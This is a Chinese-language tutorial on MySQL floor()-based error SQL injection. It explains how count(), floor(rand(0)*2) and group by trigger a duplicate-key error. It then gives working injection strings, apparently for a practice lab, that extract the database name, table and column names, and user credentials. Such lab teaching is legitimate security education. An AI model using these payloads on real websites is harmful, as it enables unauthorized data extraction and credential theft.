SQL注入之floor报错注入

---

原理

通过使用count()、floor()、rand()、group by四个条件形成主键重复的错误
count()：计算满足某一条件下的行数
floor()：向下取整的函数
rand()：生成0~1之间的浮点数
count()：group by：针对表中的字段来分组

---

一、count()函数、group by

在分组的情况下记录并输入每个分组的数量，不过在记录的过程中会先生成一个虚拟表，然后往虚拟表中插入数据

test表中有一个key字段，有四行数据，其中有两行是重复的

当我们根据key的值来分组并计算行数时，重复的会被计算两次，如图中的’ddd’，count()的结果为2

select `key` ,count(*) from test group by `key` 

二、floor()函数

向下取整

select floor(0.6),floor(1.9) 

三、rand()函数

此时在test表中我增加了行数，目的是为了让rand()函数的结果显示多几行

如果不指定参数，可以生成0~1之间的随机浮点数

select rand() from test

如果指定参数为0，生成的就是伪随机数了(大家可以去尝试，看看得到的结果和我是否相同)

select rand(0) from test

如果配合上floor()函数结果就比较明确了

select floor(rand(0)*2) from test

这里我乘2的目的是生成0~2之间的浮点数(不包括2)，然后经过floor()函数，最后得到结果要么是0，要么是1

可以看出，结果是：0 1 1 0 1 1 0 0 1 （请记住这一串数字）

---

四、报错初体验

select count(*),floor(rand(0)*2) x from test group by x

这条语句无论执行多少次都会报出这条错误，且内容不会改变

这里在floor()函数后面的x起到了一个起别名的作用，换句话说，x就等价于floor(rand()*2)，前面有说到count()函数会生成一个虚拟表，就我这条SQL语句来说，虚拟表中会有两个字段，一个是字段是count()的结果，一个是字段存放x

那么这里是怎么导致报错的呢?
结合rand函数生成的数据，看图


所以，上面的报错语句中始终都是：Duplicate entry ‘1’ for key ‘<group_key>’
因为是插入1的时候产生的错误

五、报错注入

1、获取当前数据库

select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) x from test group by x) a

2、获取当前用户

select 1 from (select count(*),concat(0x7e,(select user()),0x7e,floor(rand(0)*2)) x from test group by x) a

六、靶场报错注入

1、获取当前数据库

id=1' and (select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23

2、获取表名

id=1' and (select 1 from (select count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23

3、获取字段名

id=1' and (select 1 from (select count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23

4、获取字段内容

id=1' and (select 1 from (select count(*),concat(0x7e,(select concat_ws(':',username,password) from users limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23

注意这里的"limit 0,1"和concat_ws()的用法和含义

总结

对于floor()报错注入，我个人是认为有点投机的，正是因为rand(0)函数的伪随机性，才使得有报错的可能性